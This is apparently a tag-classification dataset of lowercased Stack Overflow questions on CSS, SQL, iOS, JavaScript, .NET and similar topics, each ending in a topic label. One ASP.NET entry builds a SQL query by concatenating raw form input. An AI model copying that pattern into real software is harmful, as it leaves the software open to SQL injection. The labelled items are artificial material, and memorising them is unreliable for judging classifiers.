is it possible for a .net 3.5-based web application to use 2.0-based libraries   i feel like this is a dumb question and i m missing something  but i haven t even figured out how to search for this one :(    can an application written to target the .net 3.5 framework utilize libraries that were written in the 2.0 framework     additional information in the answer such as the  why  and/or how this information was found would be helpful!,.net
basic objective-c question re comparisons in if statement  i feel embarrassed asking this  but it seems like something i need to understand:    why does this evaluate to true  (if i cast it to int it properly evaluates to false)   <pre><code>nsstring *var1 = @ abc ; nsstring *var2 = @ abcd ;  if (([var1 length] - [var2 length]) &gt; 2) nslog(@ -1 &gt; 2 ); </code></pre>,objective-c
css working on some pages  but not others  somewhere along the way something went wonky with the css on this site.  one some posts  the side bar is in the correct position to the right: <a href= http://emgraphics.net/legacyjar/category/the-civil-rights-movement/  rel= nofollow >http://emgraphics.net/legacyjar/category/the-civil-rights-movement/</a>.  but on the pages and other posts  it has scooted below the #wrapper area (<a href= http://emgraphics.net/legacyjar/  rel= nofollow >http://emgraphics.net/legacyjar/</a>). i had only made changes to the #comments section css but i don t see anything there that could have affected it.  have fooled around with all the elements  widths  clear settings  etc. and just cannot nail this down.  any help is appreciated!,css
css background without using url  is there a way in css to include a background without using url()    ex  i can t do this:   <pre><code>#blah {     background:url( either image or image data ); } </code></pre>   is there a workaround where i can achieve the same thing but not using the keyword  url  (the word  url  is prohibited.,css
which event is triggered in jquery before loading  closing or refreshing a tab in the browser  i want to perform an action on server side before the client refreshes  closes or loads another page in the browser tab. i know that i can use ajax for that but the problem is how can i know that the user is trying refreshes  closes or loads another page in the browser tab. so i want to know the event that is triggered with jquery.,jquery
adding progress bar (uiprogressview) for text or email for iphone  does anyone have tutorials or code snippets to add a progress bar for the mfmessagecomposeviewcontroller and mfmailcomposeviewcontroller   i m assuming you could add a progress bar as a subview  but not really sure.  thanks.,iphone
iphone live video streaming tutorial  looking  for iphone live video streaming tutorial  i have read http streaming protocol at <a href= http://developer.apple.com/library/ios/#documentation/networkinginternet/conceptual/streamingmediaguide/introduction/introduction.html  rel= noreferrer >http://developer.apple.com/library/ios/#documentation/networkinginternet/conceptual/streamingmediaguide/introduction/introduction.html</a>  but not able to understand how to practically implement this feature on iphone....!    can you help me out...!    thanks,iphone
mysql group by 3 columns  i have a query here that group by 3 columns and count the total rows   <pre><code>select count(*)   from (  select date bankname from table  group by date bankname referenceno  ) a; </code></pre>   basically  this query is used for pagination. i have two queries before this one.    i have 166 000 rows of data now and this query taking 1.23 seconds to return the result which is not nice to use when the data grows. what should i do,mysql
p tag in button tag not allowed   i have a <code>&lt;button&gt;</code> element and within it  a <code>&lt;p&gt;</code> element. the <code>&lt;p&gt;</code> element is used in combination with css  <code>margin-top</code>  in a class to vertical align the text within the button (the button has a specific height).    the html looks like this:   <pre><code>&lt;button class= someclass &gt;     &lt;img ... /&gt;     &lt;p class= anotherclass &gt;caption&lt;/p&gt; &lt;/button&gt; </code></pre>   this works fine  the text is vertically aligned like it should be. however i get a warning inside visual studio 2012 saying:    <blockquote>    element  p  cannot be nested inside element  button .  </blockquote>  <hr>   <strong>my questions:</strong> why isn t the <code>&lt;p&gt;</code> element allowed inside a <code>&lt;button&gt;</code> element  and what is the alternative,html
trying to make a sticky header stick on page load  before scrolling  i have this header that is working fine. my issue is that when you reload the page when the scroll position is passed 114  the header is not fixed until you scroll. i m trying to get it to detect the scroll position of the page before the user scrolls.   <pre><code>function initheader() {   var header = document.queryselector( .header );    var headercontainer = document.queryselector( .header-container-after );    document.addeventlistener( scroll   function () {         if (window.scrolly &gt; 114) {             header.classlist.add( header--is-fixed );             headercontainer.classlist.add( fixed-header-container );         } else {             header.classlist.remove( header--is-fixed );             headercontainer.classlist.remove( fixed-header-container );         }    }); }  window.onload = initheader; </code></pre>   thanks,javascript
getting data from a query and placing the result in a label.  i want to populate a label with the employees name when they enter a badge number in the source page but im new to programming and don t know how to tackle this. the database connection has been established and it is successful. can you guys help me with this        just an fyi this is for a time sheet application.    <pre><code>        string badge =  100000  + request.form[ xbadgetextbox ];         string date = request.form[ xweekdropdownbox ];         string hours = request.form[ xwlengthdropdownbox ];            if (badge != null)         {              string cmdquery =  select employee_name from employees where badge =   + badge +    ;              oraclecommand cmd = new oraclecommand(cmdquery);             cmd.connection = conn;             cmd.commandtype = commandtype.text;           } </code></pre>,asp.net
__unicode__() doesn t return a string  i have the following class in python   <pre><code>class mytest:     def __init__(self  str):         self.str = str      def __unicode__(self):         return self.str </code></pre>   and in some other file a instantiate mytest to try out the unicode() method   <pre><code>import myclass   c = myclass.mytest( hello world )  print c </code></pre>   as print out i get <code>&lt;myclass.mytest instance at 0x0235c8a0&gt;</code> however if i overrider <strong>__<em>str</em>__</strong>() i will get <code>hello world</code> as output. my question is  how should i write the overrider for <strong>__<em>unicode</em>__</strong>() if i want it to output string instead,python
how to store the different timers in a dict or array in a plist to load each view  i want to store the times to switch for each view in a dict or array in a plist. how i can do this. thanks for answers,iphone
make uiscrollview to move to selected region  hi i ve struck with simple problem that i ve added a uiscollview to view and added buttons to it dynamically from an array and i m removing them from superview and again adding them to view before loding as in code   <pre><code>- (void)loadgroups {      if(scroll!=nil){         if([scroll isdescendantofview:self.view]){              [scroll removefromsuperview];          }     }      nsuinteger n=[self.resultset.dataobjectlist count];     scroll = [[uiscrollview alloc]init];     scroll.delegate=self;     scroll.frame = cgrectmake(0  0  320  (height+25));     [scroll setcontentsize:cgsizemake((width-30)*n  height+25)];     [scroll setcontentoffset:cgpointmake(0  0) animated:no];     scroll.backgroundcolor=[uicolor clearcolor];     //scroll.backgroundcolor = [uicolor colorwithpatternimage:[uiimage imagenamed:@ gp-bg.png ]];     [scroll setcancancelcontenttouches:no];     scroll.indicatorstyle=uiscrollviewindicatorstylewhite;     scroll.bounces=no;     scroll.scrollenabled=yes;     scroll.pagingenabled=no;     scroll.showshorizontalscrollindicator=no;     for(int i=0;i&lt;n;i++)     {         modelroom *room = [self.resultset.dataobjectlist objectatindex:i];         cgrect rectfortitlebutton = cgrectmake(i*(width-30)  0  width-30  height+25);         int buttontag =10000+i;         uibutton *titlebutton = [self getbutton:room tag:buttontag ];         titlebutton.tag=buttontag;         [titlebutton setframe:rectfortitlebutton];         titlebutton.backgroundcolor=[uicolor clearcolor];         [scroll addsubview:titlebutton];          cgrect rectforlabel = cgrectmake(i*(width-30)  padding-5  width-35  height-20);         uilabel *label = [[uilabel alloc]init ];         label.frame=rectforlabel;         modelroom *room1 = [self.resultset.dataobjectlist objectatindex:i];         label.text=(room1).name;         label.textcolor=[uicolor whitecolor];         label.textalignment=nstextalignmentcenter;         label.backgroundcolor=[uicolor clearcolor];         label.font = [uifont fontwithname:@ helvetica  size:14];         [scroll addsubview:label];           cgrect rectforimageview = cgrectmake(27.5+(width-30)*i  padding+25  width-90  height-20);         uiimageview *imageview = [[uiimageview alloc]init ];         imageview.frame=rectforimageview;         imageview.backgroundcolor=[uicolor clearcolor];         imageview.image=[uiimage imagenamed:@ group-icon.png ];         [scroll addsubview:imageview];      }     [self.view addsubview:scroll];      } </code></pre>   my problem is when i select a button after scrolling it is retunig to first button but i need to be there where i ve selected the button. please help me where i m doing wrong...    thanks in advance....,ios
how can i read a character if i have the initial pointer of that string  i have the initial pointer of the string how can read the value in character array from that string.,c
search the document for text to remove more than the tag it s found in  imagine you had html code like this:   <pre><code>&lt;div id= 2761421  class= ...  data-attributionline= testtext wrote at...  data-created-at= 1342689802000  data-updated-at= 1342689802000  data-user-id= 36847  &gt;                                &lt;div class= subject &gt;    &lt;strong&gt;                                             &lt;a name= 2761421  href= #2761421 &gt;wee&lt;/a&gt;&lt;/strong&gt;                                &lt;/div&gt;                                                &lt;div class= info &gt;                                          &lt;div class= author &gt;      author:                                                     &lt;span class= name &gt;        testtext         (                                                      &lt;a href=  &gt;we&lt;/a&gt;)                                                                            &lt;/span&gt;                                          &lt;/div&gt;                                          &lt;div class= date &gt;      date:                                               &lt;time datetime= dfgdf &gt;dfgdfg                                             &lt;/time&gt;                                          &lt;/div&gt;                                   &lt;/div&gt;                                &lt;hr style= clear: both;  /&gt;                                &lt;div class= text gainlayout &gt;        some text                               &lt;/div&gt;                                &lt;div class= foot gainlayout unselectable &gt;                                          &lt;span class= menuitem postmenuitem-report &gt;                                             &lt;a href= dfgdfg  data-remote= true  class= nav  data-confirm= dgdfg  rel= nofollow &gt;cvbcvb&lt;/a&gt;                                     &lt;/span&gt;           &lt;/div&gt;                     &lt;/div&gt;   </code></pre>   what would the javascript code look like that searches the whole document for parts where the div with data-attributionline= contains testtext to replace the whole cited div from start to finish with  filtered      <strong>or</strong>    what would the javascript code look like that searches the whole document for    <pre><code>&lt;span class= name &gt;  </code></pre>   where the name contains testtext to replace the whole div starting from   <pre><code>&lt;div id= &lt;someid&gt;  class= ...  data-attributionline= testtext&lt;some text&gt;  data-created-at= &lt;somedate&gt;  data-updated-at= &lt;somedate&gt;  data-user-id= &lt;someid&gt;  &gt;                              </code></pre>   to the last div  ie   <pre><code>    &lt;/span&gt;           &lt;/div&gt;                     &lt;/div&gt;  </code></pre>   with  filtered,javascript
css: child element to not trigger hover on the parent  i have a text with an image in the end. if there is no space for the text and image  the image should never go alone on the second row. i made this with <code>white-space: nowrap;</code> combining the last word and the image. the problem is that hovering the image triggers the hover on the text. i am trying to figure out how to do avoid this. here is my code:    html:   <pre><code>&lt;p class= parent &gt;     &lt;span&gt;this is a long word this is a long word this &lt;/span&gt;         &lt;span class= nowrap &gt;long&lt;img src= http://farm9.staticflickr.com/8378/8559402848_9fcd90d20b_b.jpg               style= width:102px;height:80px /&gt;         &lt;/span&gt; &lt;/p&gt; </code></pre>   css:   <pre><code>.parent:hover  {      text-decoration: underline; }  .nowrap {     white-space: nowrap; } </code></pre>   jsfiddle: <a href= http://jsfiddle.net/5pbk9djp/27/  rel= nofollow >http://jsfiddle.net/5pbk9djp/27/</a>    i want to do this with only css. you can add additional classes and change the structure of the html as long as the icon does not go on a second row without a text.    <strong>hovering the image should not underline the text</strong>,css
are there other ways to pass parameters to javascript other than document.location.hash   i am looking for an alternative(s) that allow variables to be pulled in from the url to be used in scripts on the page.,javascript
invalid operation exception threads <pre><code>tpide1=new thread(new threadstart(pide1));         tjunta=new thread(new threadstart(junta)); public void pide1()      {         while (cuadroactual1 &lt; cuadrofinal)          {             if (cuadroactual3 == cuadroactual1 )             {                 lector.lee1(cuadroactual1);                 cuadroactual1++;                 reproductorlisto1.set();             }         }     }       public void junta()      {          while (cuadroactual3 &lt; cuadrofinal)         {             autoresetevent.waitall(estanlistos);                  lector.junta(cuadroactual3);                 canvasjuntar.dispatcher.invoke((action)(() =&gt; {  canvasjuntar.background = new imagebrush(lector.bms); }));                 cuadroactual3++;             }      } </code></pre>   when i execute the program it throws an invalidoperationexception ( the calling thread cannot access this object because a different thread owns it ) this happen in different lines everytime i run the program and do not let me see where the mistake is ( no source available ).(the exception always appear when i am debuggin inside of the method  junta()  but not always in the same line) please help me!,c#
.where-query on  grandparent  in nested models in rails  is it possible to do the follwing query  without the two models having a direct association:   <pre><code>event.where(community_id: 1) </code></pre>   these are the three models:   <pre><code>class community &lt; activerecord::base   has_many :organizers end  class organizer &lt; activerecord::base   belongs_to :community   has_many  :events end  class event &lt; activerecord::base   belongs_to :organizer end </code></pre>   the closest i ve come is to use  delegate  with the following  that works for event.communities but not for a where query:     <pre><code>delegate :community  :to =&gt; :organizer  :allow_nil =&gt; true </code></pre>,ruby-on-rails
retrieving the latest transaction for an item  i have a table that lists lots of item transactions. i need to get the last record for each item (the one dated the latest).    for example my table looks like this:   <pre><code>item    date    trxlocation xxxxx   1/1/13   warehouse xxxxx   1/2/13   warehouse xxxxx   1/3/13   warehouse  aaaa    1/1/13   warehouse aaaa    2/1/13   warehouse </code></pre>   i want the data to come back as follows:   <pre><code>xxxxx    1/3/13   warehouse aaaa     2/1/13   warehouse </code></pre>   i tried doing something like this but it is bringing back the wrong date   <pre><code>select distinct itemnmbr  trxloctn  daterecd from test where daterecd = (select max(daterecd)         from test) </code></pre>   any help is appreciated.,sql
how do you make javascript parse 0.0 as a decimal rather than an integer in a function   i have a function accepting a few different types of inputs  including:   <ul> <li>string </li> <li>number </li> <li>date  and </li> <li>float.</li> </ul>   the way i am deriving whether or not the inputted number is a float is like this:   <pre><code>function gettype(i){     if(string(i).indexof( . ) &gt; -1)){         return  float ;     } else {         return  number ;     } } </code></pre>   this works for every single float  positive and negative  except for 0.0  0.00  0.000  etc.    whenever i input a decimal value equal to 0  it is automatically converted from a decimal to an integer  thus the input type does not register as a float but as a number. how do i stop this from happening and instead read the true inputted value of  i  in the function      <strong>(please note: encapsulating the float in a string is not an option)</strong>,javascript
is urt (universal runtime) equivalent to .net framework  just curious to ask. if those two are equivalent.,.net
scoping rule for nested-loop in python <pre><code>def temp():     temparray = [ a   b ]     temparray_2 = [ c   d   e ]     for i in temparray:         print( i:  + str(i))         for i in temparray_2:             print( first:   + str(i))         print( second:   + str(i))      print( final:   + str(i)) </code></pre>   why does the above code the following output  the variable i seems to get overwritten by whatever that is last assigned in the inner loop. does python not obey the scoping rule like java or c     <pre><code>i:a first: c first: d first: e second: e i:b first: c first: d first: e second: e final: e </code></pre>,python
`class::class() : a(0)  b(1)` meaning  what does the following mean  i don t know what to search for as just searching <code>:</code> gives me nothing...   <pre><code>server::server(int port) : listen_sock(0)  current_autogen_nickname(1) </code></pre>   where <code>listen_sock</code> used later in:   <pre><code>listen_sock = socket(af_inet  sock_stream  0); </code></pre>   and <code>current_autogen_nickname</code> not used.,c++
javascript get date from /date(1518696376959)/  how to get date time from this <code>/date(1518696376959)/</code> in javascript  i have tried like this     <code>var d = new date( 1519192874994 );</code>,javascript
how to clear a message after submited without refreshing the page  i have a input form  to submit a message. after i submitted my message the text is still in the text area. how do i clear the test area once it is submitted without reloading the page  do i need javascript to do that    <pre><code>&lt;form method= post  action= mess_add.php  target= list_mess &gt; &lt;textarea cols= 28  rows= 3  name= text  maxlength= 20000  onkeydown= if (event.keycode == 13) document.getelementbyid( post ).click(); mytoken() &gt; &lt;/textarea&gt; &lt;input type= submit  name= submit  value= submit  id= post /&gt;&lt;/form&gt; </code></pre>,javascript
sprintf is not printing the last entry  sprintf is not giving the proper value for tthe variable stats->info.transferid  but  printf is giving proper values for that variable  all the other values are proper    <pre><code>char buff[200];  sprintf(buff  index:1:%u:%u:%d\n               stats-&gt;connection.peer              stats-&gt;connection.local              stats-&gt;info.transferid); printf(   %s  buff); printf(   %d\n  stats-&gt;info.transferid); </code></pre>   info is a structure of transfer_info type.   <pre><code>typedef struct transfer_info {     void *reserved_delay;     int transferid;     ----     ----  } </code></pre>   the output i m getting:   <pre><code>index:1:2005729282:3623921856:0  3 </code></pre>   size of buffer is much enough to hold its value      thanks in advance,c
how to set uitextfield setinputview to uipickerview - iphone os:3.1.2  i have created a uitextfield along with uipickerview programmatically and set the input view of the text field to picker view but when i upload this test application to the iphone test device with iphone os: 3.1.2 it crashes on [textfield setinputview:picker] execution  however the same test application works fine if uploaded on iphone test device with iphone os: 4.1. please let me know how could i make it work on iphone os:3.1.2     thanks   <pre><code>uipickerview* picker = [[uipickerview alloc] initwithframe:cgrectmake(0.0f  480.0f  320.0f  270.0f)]; picker.delegate = self; [testviewcontroller addsubview:picker];   uitextfield* textfield = [[uitextfield alloc] initwithframe:cgrectmake(145.0f  97.0f  155.0f  29.0f)]; textfield.delegate = self;  [textfield setinputview:picker];    // crashes on execution [testviewcontroller addsubview:textfield]; </code></pre>,iphone
nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];  i found this code while learning objective c programming language but i did not understand. i have tried a lot on internet but failed to understand so please explain above statement in easy words. because i am just a beginner in this language. thank you.,objective-c
is it a good idea to nest several view controllers to achieve complex interfaces with iphone os   i wonder if that hurts performance. i have an test app which is pretty huge regarding view controllers. rather than changing just from view a to b  i slide everything around. so i have a root viewcontroller  which is used for the basic application feature areas. it instantiates other view controllers on demand  puts them into uiview containers and slides them around to make nice effects. those view controllers are considered as root controllers theirselves  and each of them creates another set of view controllers for different stuff.    so at the end i have a hierarchy consisting of about 15 views. everything is smooth  but it feels a little bit strange. well i guess it s normal. just wanna know what you think / do. am i crazy,iphone
push notification in ios8  does apple has introduced any real time fast instant push notification in ios recently which will improve user experience for the app  please suggest some answers as i am going to use push notification in my app,ios
tags in asp.net  what s the difference between <code>&lt;%= something %&gt;</code> and <code>&lt;%# something %&gt;</code>     are there any other modifiers of this kind    <h3>duplicate</h3>  <blockquote>    <a href= https://stackoverflow.com/questions/100853/what-is-the-difference-between-the-and-opening-tags >what is the difference between the &lt;%# and &lt;%= opening tags </a>  </blockquote>,asp.net
select data if conditions on two separate rows are met  consider the following dataset:   <pre><code>id   dataid   data 1     3095     5 1     3096     9 1     3097     8 2     3095     4 2     3096     9  2     3097     15 </code></pre>   now  in this  the column someid identifies to certain data  so if i see 3095  i know what data the data column represents (name  address  etc.). i need to do a check so that for the group of ids (i.e. 1 and 2) dataid=3095 then data=5 and dataid=3096 then data=9  and if this is true  the id group will be selected and operations will be done on it.    edit: now i use the following sql query to do the above:   <pre><code>select * from table s0 join table s1 using (dataid) join table s2 using (dataid) where s1.dataid=359 and s1.data=5 and s2.dataid=360 and s2.data=6; </code></pre>   but how can i get the output from rows to columns. the property values i need are still as key:pair values in rows and i would like them as columns.    so the output for the above would be:   <pre><code>id     3095     3096      3097 1       5        9         8 </code></pre>   whereas currently it is returning from the above query:   <pre><code>id     dataid  data   dataid_1   data_1   dataid_2   data_2 1       3095    5       unnecessary stuff because of join       1       3096    9 1       3097    8 </code></pre>   thanks and sorry if this is confusing.,sql
storing datetime or season or quarter in a relational database  i must save an event in a relational database. this event has a time when it starts. this will be precisely one of:   <ul> <li>a datetime  for example: 05.05.2015 06:00:00</li> <li>a quarter  for example: 4th quarter of the year 2015</li> <li>a season  for example: winter</li> </ul>   what would be a good way to store this in a database  so i can distinguish the three types.    should i create a col for datetype and three other cols for datetime  quarter  season  and what would you use for season and quarter.,sql
routing to new action (rails)  i have an action in my postscontroller named  tagged   which i want to return all posts tagged with whatever term.    in my routes.rb i have the following (at the top):   <pre><code>map.connect  posts/tagged/:tag   { :controller =&gt;  posts   :action =&gt;  tagged   :tag =&gt; /[a-z\-]+/ } </code></pre>   yet navigating to posts/tagged/yes returns a recordnotfound error:   <pre><code>couldn t find post without an id </code></pre>   in my tagged.html.erb file  i ll eventually be using the find_tagged_with method from acts_as_taggable_on_steroids  but for now i ve put a simple post.find(:all) to eliminate the possibility of error.    it seems like my map.connect is being overridden  and the same error occurs even if i comment the whole of the routes.rb file out except my new line.,ruby-on-rails
strange result of re.match()  `   <pre><code>t= 1111 si debiteur  import re re.match(r si débiteur  t) is none #gives back true as a result re.match(r 1111 si débiteur  t) is none #gives back true as a result re.match(r 1111 si débiteur  t) is not none #gives back false as a result t= 8588  re.match(r 1111 si débiteur  t) is none #gives back true as a result </code></pre>   `<a href= http://i.stack.imgur.com/53m4h.png  rel= nofollow ></a>    the thing is i don t really get why  re.match(r 1111 si débiteur  t) is none  returning true in both case,python
how to check if diagonal in matrix is equal  i want to make a tic tac toe game.    i m having trouble with the diagonal.    i ve managed to find a way to check if a column or row is equal with a for loop.    i need a way to check if a diagonal is equal for every move made to see if someone won.,python
c# get the first instance of a complete capital word  i am running into an issue and am not sure what the solution is. what i need to do is get a string  find the first fully capitalized word eg. (word) not (word) and then split the string on that.    for instance the data looks like this.    <pre><code> text 123 and more text this is more text  </code></pre>   the result needs to be    <pre><code>[0]  text 123 and more text   [1]  this is more text  </code></pre>,c#
get response.output size   my code is now like this:   <pre><code>var xmlserializer = new xmlserializer(typeof(dataset)); xmlserializer.serialize(response.output  ds); </code></pre>   after that i want to show the size  but this gives me an error:   <pre><code>response.addheader( content-length   response.outputstream.length.tostring()); </code></pre>   the error is   <pre><code>notsupportedexception was unhandled by user code </code></pre>,asp.net
improve runtime.exec()  my program connects to external code via runtime.exec(). it is quite fast but the program really spends most time in the runtime.exec() call (tested with profiler).     at this point there is no choice for a native library  so i am stuck with the runtime.exec() code.     i m wondering if there is any way to improve the performance of the external program call from java or even from the os that i am not aware of.,java
i want to add up the number which is coming in the string.can anyone please tell me the program in java   example: input: string s =  my favorite pet 43 is 12 cat 32      output: number = 43+12+33 = 88    how can we generate the output,java
list count of persons with different hobby combinations automatically find combination  i have a table in which a person and his hobbies are stored. i want to print list of hobby combination(automatically) and total number of persons who choose only those hobby combination. hobby list is more than 40 so i want the list to be generated automatically.    my table looks like this   <pre>a-h1 a-h2 a-h3 b-h1 b-h4 c-h1 c-h3 d-h1 d-h4 e-h1 e-h3</pre>   that is:    <pre>a has hobbies h1 h2 h3 b has hobbies h1 h4 c has hobbies h1 h3 d has hobbies h1 h4 e has hobbies h1 h3</pre>   i was result as    <pre>h1 h2 h3- 1 h1 h4   - 2 h1 h3   - 2</pre>   please help me find the answer,mysql
what argv = null means   i m trying to make arguments information umodifiable.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main(const int argc  const char* const argv[]) {   //argc = 1;         // error: assignment of read-only parameter  argc    //argv[0] =  argv ; // error: assignment of read-only location  *argv    //argv[0][0] =  a ; // error: assignment of read-only location  **argv    return exit_success; } </code></pre>   now when i do this    <pre class= lang-c prettyprint-override ><code>argv = null; // no compile-time error </code></pre>   the compiler makes silence.    what does the statement actually do  how can i prohibit my codes from doing that,c
calculate with jquery each time a input changes  i have an application where i have to perform a simple calculation where the price of each item * the amount. i am trying to figure out the best way to do it. i have a input type= number  and i have a item price. i need to update my input fied each time the value of the qty field changes   <pre><code>    $( #add1 ).click(function () {     var selected1 = ($( #producelist option:selected ).index() - 1);     myitem1 = pdata[selected1];     $( #itembox ).append( &lt;div id= thep &gt;  +  &lt;p class =  product &gt;  + myitem1.name +        + myitem1.price +  &lt;/p&gt;  +  &lt;label for= howmany &gt;qty:&lt;/label&gt;  +  &lt;input id= howmany  type= number  min= 0  max= 10  value= 0 &gt;  +  &lt;label for= thismany &gt;price:&lt;/label&gt;  +  &lt;input type= text  id = thismany readonly&gt;  +  &lt;/div&gt; ); </code></pre>,jquery
target element directly before specific class only  in my amp version of a page i have something like this (i cant change that  only css):   <pre><code>&lt;p&gt;...&lt;/p&gt; &lt;p&gt;...&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;...&lt;/strong&gt;&lt;/p&gt; &lt;h3 class= target &gt;...&lt;/h3&gt; &lt;p&gt;...&lt;/p&gt; </code></pre>   i want to target every <code>&lt;strong&gt;</code> tag  if its directly before <code>class= target </code>. so the 2nd line of this example shouldn t be targeted. how could i do this,css
html – space that does not break to a new line   i m working on a french webpage. those crazy people make spaces before their question-marks and expclamation marks. we all know about <code>&amp;nbsp;</code> but is there an equivalent that does not break the line,html
compare the same table and ignore results  ok  so i have a single table i need to extract data out of.  the table looks like this:   <pre><code>id        co_id      company 123456               abc company 5847      123456     jim bob company 524863               john smith company 8975                 suzie q united 77458     524863     ha ha limited </code></pre>   i need to query the table to give me all companies that are not tied to another company or have a company tied to them.  so every company has an id but only select few have a co_id and that is only if they are tied to another company.  i want to pull only companies that have no ties to themselves.  these records all exist in the same table.  i can t seem to figure out how to do the comparison so i get the results i am looking for.    edit:  in this example  only 8975 should be returned.  in real life  this table has 3500 records in it.      thanks.    jayson,sql
resizable option is not working in ie 8 but working fine in firefox  i have an option to resize my portlet. for fire fox its working fine but for ie8 its not working.    <img src= https://i.stack.imgur.com/52tys.png  alt= enter image description here >    css code:   <pre><code>.ui-resizable { position: relative; }  .ui-resizable-handle { background: transparent url() no-repeat 50% 50%; display: none; font-size: 0.1px; position: absolute;  }    .ui-resizable .ui-resizable-handle { display: block;  }    .js .ui-resizable-disabled .ui-resizable-handle { display: none;  }     .js .ui-resizable-autohide .ui-resizable-handle { display: none;   }     .ui-resizable-n  .ui-resizable-s { background-image: url(../images/application/handle_horizontal.png); height: 14px; left: 0; right: 0;    }     .ui-resizable-n { cursor: n-resize; top: 0;    }     .ui-resizable-s { bottom: 0; cursor: s-resize;    }      .ui-resizable-e  .ui-resizable-w { background-image: url(../images/application/handle_vertical.png); background-position: center center; bottom: 0; top: 0; width: 14px;    }     .ui-resizable-e { cursor: e-resize; right: 0;    }     .ui-resizable-w { cursor: w-resize; left: 0;    }     .ui-resizable-ne  .ui-resizable-nw { height: 14px; top: 0; width: 14px;    }    .ui-resizable-ne { background-image: url(../images/application/handle_ne.png); cursor: ne-resize; right: 0;    }     .ui-resizable-nw { background-image: url(../images/application/handle_nw.png); cursor: nw-resize; left: 0;     }      .ui-resizable-se  .ui-resizable-sw { bottom: 0; height: 14px; width: 14px;     }     .ui-resizable-se { background-image: url(../images/application/handle_se.png); cursor: se-resize; right: 0;    }    .ui-resizable-sw { background-image: url(../images/application/handle_sw.png); cursor: sw-resize; left: 0;    } </code></pre>   my question is  is there any css based solution to activate the resizable option for ie,css
best and fastest way to compare two multi-word strings disregarding order of words   what is the best and fastest way to compare two multi-word strings regardless of the order of the words     i have a table of sayings and i want to eliminate similar terms. for example term:  <code>mary why not</code>  should be the same as  <code>why not mary</code> .    <pre><code>table: sayings field: phrase values row 1:  mary why not  (matches row 1) values row 2:  mary not why  (matches row 1) values row 3:  mary why      (not a match) </code></pre>,mysql
math equation won t be read. why is this   sorry for not adding the whole code. dumb mistake on my part.   <pre><code>  #include &lt;stdio.h&gt; int main(int argc  char ** argv) {     float celcius  fahrenheit  kelvin  interval;     int c  f  k;     char temp;      printf( which temperature is being input  (c f k)  );     scanf( %s   &amp;temp);      if(temp ==  c ) {         printf( enter a starting temperature );         scanf( %f   &amp;celcius);         fahrenheit=celcius*9/5+32;         kelvin=celcius+273.2;         printf( %f  %f  %f   celcius  fahrenheit  kelvin);         }          else if(temp ==  f ) {         printf( please enter a starting temperature );         scanf( %f   &amp;fahrenheit);         celcius=fahrenheit-32*5/9;         kelvin=fahrenheit-32*5/9+273.2;         printf( %f  %f  %f   celcius  fahrenheit  kelvin);            }             else if(temp ==  k ) {             printf( enter a starting temperature );                 scanf( %f   &amp;kelvin);                 fahrenheit=kelvin-273*1.8+32;                 celcius=kelvin-273.2;                 printf( %f  %f  %f   celcius  fahrenheit  kelvin);             } } </code></pre>   so it asks for what temperature is being input and the starting temperature but why isn t it calculating the math equation,c
objective-c : is it dangerous cast to (nsinteger)self   is it dangerous to cast  (nsinteger)self      i need to distinguish two views  not using tag value.    if it is dangerous  any ideas,objective-c
how to open dialog from listview  i have found a problem while opening dialog on click of listview..the code i have return is given below please check it if there is any error there..   <pre><code>public void oncreate(bundle savedinstancestate) {           super.oncreate(savedinstancestate);          setcontentview(r.layout.my_info);         listview lv2;         string lv_arr1[]={ language:notspecified };         lv2=(listview)findviewbyid(r.id.listviewinfo1);         lv2.setadapter(new arrayadapter&lt;string&gt;(this android.r.layout.simple_list_item_1   lv_arr1));          listview lvinfo1;         listviewinfo adapter;         string lvtitle[]={ online };         string lvdesc[]={ change status };         adapter = new listviewinfo(this  lvtitle lvdesc);         lvinfo1=(listview)findviewbyid(r.id.listviewinfo2);         lvinfo1.setadapter(adapter);         lvinfo1.setonitemclicklistener(this);      }   public void onitemclick(adapterview&lt; &gt; arg0  view arg1  int position  long id)   {          final charsequence[] items = { online    away    do not distrub   invisible   offline };          alertdialog.builder builder = new alertdialog.builder(this);         builder.settitle( change status );         builder.setitems(items  new dialoginterface.onclicklistener() {             public void onclick(dialoginterface dialog  int item) {                 toast.maketext(getapplicationcontext()  items[item]  toast.length_short).show();             }         });  } </code></pre>,android
send key for right arrow  what is the syntax for the sendkey for rightarrow  in .net,.net
what learning path i must follow to learn asp.net   i m an oop developer mostly on the most popular scripting language for web developments  php.    to master my skills as a php developer  i separate things as php  oop techinques  client-side languages as javascript  ajax  ajax libraries  cms  frameworks (zend  cake  etc) mysql in depth  linux (mostly as a web developer optical) ...    so what guess now i need some specific guidelines to determine what are the concrete domains that i need to master to become myself a asp.net developer and then build on top of that a learning path to follow. (like c#  webforms  ado  etc) ...    best to all the great developers here in so.    demian,asp.net
how to get an ordered list of rows within 0 value with sql   for example:   <pre><code>select * from atable order by num;  </code></pre>    atable  is:   <pre><code>num  name      1     a     3     y     0     cc     2     fs </code></pre>   the result is:   <pre><code>num  name      1     a     2     fs     3     y     0     cc </code></pre>   but i want it to be:   <pre><code>num  name   0     cc     1     a     2     fs     3     y </code></pre>,mysql
sql issue with my query  i have an issue with the query  that operates on following talble:   <pre><code>+---------------------------+ | id name salary department | +---------------------------+ | 1 john 100 accounting     | | 2 mary 200 it             | +---------------------------+ </code></pre>   what i am trying to achive  is find the query  that will result in the following:    for each employe  find the average salary of those employes whose salary is either up to 100 more or 100 less then salary of given employee  and they work in the same department.    so far i have this:   <pre><code>select e1.id  avg(e2.salary) from e1 emp  e2 emp where abs(e1.salary-e2.salary)&lt;= 100 and e1.department = e2.department group by e1.name </code></pre>   is this correct,sql
adding to a nsstring  how can i create a string that can have integers added and removed to it with a simple + or -1,iphone
